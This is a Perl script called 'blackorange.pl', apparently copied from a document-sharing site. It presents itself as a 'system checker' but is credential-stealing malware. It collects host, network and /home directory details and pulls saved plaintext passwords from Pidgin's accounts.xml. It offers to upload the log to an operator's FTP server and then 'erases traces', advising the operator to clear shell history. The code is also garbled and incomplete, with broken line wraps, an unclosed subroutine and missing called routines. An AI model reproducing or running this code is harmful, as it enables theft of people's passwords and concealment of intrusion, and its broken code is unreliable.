Professional Documents
Culture Documents
/usr/bin/perl
# blackorange.pl
# Mal
# Not liable should anything happen.
use strict;
use Term::ANSIColor qw/:constants/;
use Net::FTP;
use Sys::Hostname;
use Digest::MD5;
use Config;
use Socket;
use File::Find;
use ExtUtils::Installed;
# Change these to your FTP server
my $ftp_addr = ''; # The IP/address to the FTP
my $ftp_user = ''; # FTP username
my $ftp_pw = ''; # FTP password
my $ftp_destdir = ''; # Destination in FTP, can be left blank for Windows FTP Se
rvers, but not for Linux FTP Servers.
#####################################
my $VER = "0.2";
my $time = scalar(localtime);
my $parent_pid = getppid();
my $child_pid = getpgrp(0);
my $cuser = getlogin();
my $os = $^O;
my $p_ver = $];
my $apt_loc = "/etc/apt/sources.list";
my $hostname = hostname;
my $pidgindir = "/home/$cuser/.purple";
my $arch = $Config{archname};
my $envpath = $ENV{PATH};
my $localip = inet_ntoa( (gethostbyname($hostname))[4]);
my $mode = undef;
if($ARGV[0] =~ /^\-mode\:(\w+)/) {
if($1 eq 'local') {
$mode = 0;
} elsif($1 eq 'ftp') {
$mode = 1;
if( ($ftp_addr eq '') || ($ftp_user eq '') || ($ftp_pw eq '') ||
($ftp_destdir eq '')) {
print BOLD, RED, "Missing FTP information.\n", RESET;
exit;
}
} else {
print BOLD, RED, "Unknown mode.\n", RESET;
exit;
}
} elsif($ARGV[0] eq '-h') {
help();
}else{
print BOLD, BLUE, "Type 'perl blackorange.pl -h'\n", RESET;
exit;
}
system "clear";
print BOLD, BLUE "Black Orange v$VER\n\n", RESET;
open IDLOG, ">>BlackOrangeUpload_$time.txt";
print IDLOG "BLACKORANGEUPLOAD LOG\n\n";
close(IDLOG);
sub help() {
print <<OEF;
NAME
blackorange.pl - system checker
SYNOPSIS
perl blackorange.pl -mode:option
DESCRIPTION
Use this script to log information on a system. This script checks for nume
rous
things such as the basic information of the system (hostname, user, etc) an
d
pidgin passwords stored on the computer. The script also logs the output of
iwconfig and ifconfig, along with the directory-tree of /home.
OPTIONS
local - Saves log to local hard drive
ftp - Uploads log to ftp server
EXAMPLES
perl blackorange.pl -mode:local
perl blackorange.pl -mode:ftp
NOTES
This script works best on Debian-based Linux distributions. For the full lo
gging,
the script looks for /etc/apt/sources.list and logs it (this is found on De
bian-
based distributions).
BUGS
None found during testing.
OEF
exit;
}
sub notremote() {
print BOLD, BLUE, "User chose local.\n", RESET;
exit;
}
sub perlmodules() {
open IDLOG, ">>BlackOrangeUpload_$time.txt";
print IDLOG "\nINSTALLED PERL MODULES (MODULE - VERSION)\n";
print "\nLogging installed Perl Modules.. ";
my $pm = ExtUtils::Installed->new();
foreach my $modules ($pm->modules()) {
my $version = $pm->version($modules);
print IDLOG " $modules - $version\n";
}
close(IDLOG);
}
sub filetree() {
open IDLOG, ">>BlackOrangeUpload_$time.txt";
my $directory = "/home";
print IDLOG "\n\n/HOME/* DIRECTORY TREE LISTING\n";
print "\nLogging '/home/*' Directory Tree.. ";
find sub { print IDLOG " $File::Find::name\n"}, $directory;
print "done.\n";
close(IDLOG);
}
sub networkinfo() {
open IDLOG, ">>BlackOrangeUpload_$time.txt";
print "\nSearching ifconfig.. ";
my $tmpf;
if(-e '/sbin/ifconfig') {
print IDLOG "\n\n/SBIN/IFCONFIG INFORMATION\n";
print BOLD, BLUE, "found.\n", RESET;
my @ethinfof = `/sbin/ifconfig`;
foreach $tmpf (@ethinfof) {
print IDLOG " $tmpf";
}
} else {
print BOLD, RED, "not found.\n", RESET;
}
sub basicinformation() {
open IDLOG, ">>BlackOrangeUpload_$time.txt";
open DISTRO, "/etc/issue";
my $DISTRO;
print "Logging basic system information.. \n";
print IDLOG "BASIC SYSTEM INFORMATION\n";
print IDLOG " - User : $cuser\n";
print IDLOG " - Host : $hostname\n";
print IDLOG " - Local IPv4 : $localip\n";
print IDLOG " - OS : \u$os\n";
while(<DISTRO>) {
if($_ !~ /^\s+/) {
if( ($DISTRO) = $_ =~ /(.*)/) {
$DISTRO = $1;
print IDLOG " - Distribution: $DISTRO\n";
}
}
}
print IDLOG " - Architecture: $arch\n";
print IDLOG " - Perl Version: $p_ver\n";;
print IDLOG " - ScriptPID : $child_pid\n";
print IDLOG " - ScriptParent: $parent_pid\n";
print IDLOG " - ScriptEXEC : $time\n";
print IDLOG " - Env Path : $envpath\n";
close(IDLOG);
return 0;
}
sub pidginaccounts() {
open IDLOG, ">>BlackOrangeUpload_$time.txt";;
print IDLOG "\n\n";
open AXML, "$pidgindir/accounts.xml";
my $axml = Digest::MD5->new;
$axml->addfile(*AXML);
my $md5_xml = $axml->hexdigest;
my ($an,$ac,$ap,$pc,$apr,$prc,$pre);
my (@a, @p, @pr);
my $n = "name";
my $pr = "protocol";
my $pw = "password";
print "\nSearching Pidgin... ";
if(-e "$pidgindir/accounts.xml") {
print BOLD, BLUE, "found.\n", RESET;
} else {
print BOLD, RED, "not found.\n", RESET;
return 0;
}
open ACCT, "$pidgindir/accounts.xml";
print IDLOG "\nPIDGIN INFORMATION (MD5:$md5_xml)\n";
while(<ACCT>) {
s/\s+//g;
if( ($an) = $_ =~ /^<$n>(.*)<\/$n>$/) {
@a = $an;
}elsif( ($pre, $apr) = $_ =~ /^<$pr>(.*)-(.*)<\/$pr>$/) {
@pr = $apr;
}elsif( ($ap) = $_ =~ /^<$pw>(.*)<\/$pw>$/) {
$pc++;
@p = $ap;
print IDLOG " Profile $pc\n";
print IDLOG " Protocol : @pr\n";
print IDLOG " Account : @a\n";
print IDLOG " Password: @p\n";
}
}
print " - Found $pc saved accounts(s)\n";
close(IDLOG);
return 0;
}
sub failed() {
print BOLD, RED, "failed.\n", RESET;
finalize();
}
sub finalize() {
print "Erasing traces..\n";
open IDLOG, ">>BlackOrangeUpload_$time.txt";
print " - Deleted Local Script.\n" if unlink("BlackOrangeUpload_$time.txt"
);
print BOLD, BLUE, " - To erase CLI history, type 'history -c'\n", RESET;
close(IDLOG);
}
## Subroutines in order. Change them around if you know what you're doing. (It'l
l change how it looks in the text output).
basicinformation();
pidginaccounts();
aptsources();
networkinfo();
perlmodules();
filetree();
notremote() if $mode == 0;
ftp() if $mode == 1;
finalize() if $mode == 1;